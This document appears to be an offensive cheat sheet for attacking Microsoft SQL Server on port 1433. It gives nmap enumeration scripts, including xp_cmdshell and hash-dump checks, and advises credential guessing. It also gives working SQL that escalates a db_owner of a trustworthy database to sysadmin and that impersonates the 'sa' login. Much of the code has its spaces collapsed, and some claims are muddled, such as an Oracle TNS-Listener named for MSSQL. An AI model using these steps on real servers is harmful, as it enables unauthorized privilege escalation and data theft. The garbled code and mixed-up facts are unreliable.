Microsoft SQL Server(MSSQL) is a relational database management system developed by Microsoft. By default, it runs on port TCP 1433
Default MS-SQL System Tables:
master Database: Records all the system-level information for an instance of SQL Server.
msdb Database: Is used by SQL Server Agent for scheduling alerts and jobs.
model Database: Is used as the template for all databases created on the instance of SQL Server. Modifications made to the model database, such as database size, collation, recovery model, and other database options, are applied to any databases created afterwards.
Resource Databas: Is a read-only database that contains system objects that are included with SQL Server. System objects are physically persisted in the Resource database, but they logically appear in the sys schema of every database.
tempdb Database : Is a work-space for holding temporary objects or intermediate result sets.
Practice
Enumerate
Using nmap scripts, we can enumerate the version of the TNS-Listener
# Usefull Sciptsnmap--scriptms-sql-info-p1433<target-ip>nmap--scriptms-sql-config-p1433<target-ip>nmap--scriptms-sql-empty-password,ms-sql-xp-cmdshell-p1433<target-ip>nmap--scriptms-sql-*-p1433<target-ip># Run all Scriptsnmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
Enumerate DB Objects
To enumerate Databases, Tables, Columns, Users, Permissions, refers to the following page
If you don'thave credentials you can try to guess them. You can use nmap or metasploit. Be careful, you can block accounts if you fail login several times using an existing username.
On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. MSSQL uses Keberos to authenticate users so we can retrieve the NTLM hash.
If a regular user is given the role db_owner over the database owned by an admin user (such as sa) and that database is configured as trustworthy, that user can abuse these privileges to privesc because stored procedures created in there that can execute as the owner (admin).
To enumerate, run the following queries
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
If you found you are db_owner of a trustworthy database, you can privesc
--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
To enumerate users that you can impersonate, run the following queries
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned
We may also use mssqlclient from Impacket to enumerate users that we can impersonate
SQL (dbo@ScrambleHR)> enum_impersonate
If you can impersonate a user, even if he isn't sysadmin, you should check if the user has access to other databases or linked servers.
# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')
Note that once you are sysadmin you can impersonate any other one:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Local Privilege Escalation
The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator or NT AUTHORITY\SYSTEM following this page: